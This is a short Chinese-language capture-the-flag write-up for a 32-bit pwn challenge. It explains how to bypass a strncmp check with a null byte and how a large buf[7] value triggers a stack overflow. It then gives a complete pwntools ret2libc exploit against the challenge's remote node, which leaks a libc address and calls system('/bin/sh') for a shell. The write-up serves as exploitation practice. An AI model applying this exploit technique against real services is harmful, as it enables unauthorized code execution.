先看开了什么保护

1

可以看到没有canary保护

2

主函数在fd>0时会读取数据

1
v2 = sub_804871F(buf);

来到这个函数里面

3

发现

1
2
if ( strncmp(buf, s, v1) )
exit(0);

这里有个判断,如果s和buf的长度不一样会退出程序

在开头加上**/x00**进行绕过

1
sub_80487D0(v2);

函数会根据buf这个char型数组的buf[7]进行传参

4

这个函数read的大小更巨buf[7]

所以buf[7]的字符串的值越大越好 取’/xff’

栈溢出这部分完成后就可以用libc构造ROP完成提权

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from LibcSearcher import *
context(log_level='debug')
libc=ELF('./libc-2.23.so')
#p=process('./pwn')
p=remote('node5.buuoj.cn',25572)
elf=ELF('./pwn')
#rop=ROP(pwnfile)
ret=0x08048502
payload='\x00'+'\xff'*7
p.sendline(payload)

write_plt=elf.plt["write"]
write_got=elf.got["write"]
main_addr=0x08048825
p.recvuntil("Correct\n")
payload1=b'a'*0xe7+b'a'*4+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(8)
p.sendline(payload1)
write_addr=u32(p.recv(4))


print(hex(write_addr))
libc_base=write_addr-libc.sym['write']
bin_sh_addr=libc_base+next(libc.search(b'bin/sh'))
system_addr=libc_base+libc.sym['system']

p.sendline(payload)
p.recvuntil("Correct\n")
payload2=b'a'*0xe7+b'a'*4+p32(system_addr)+p32(0)+p32(bin_sh_addr)
p.sendline(payload2)
p.interactive()

6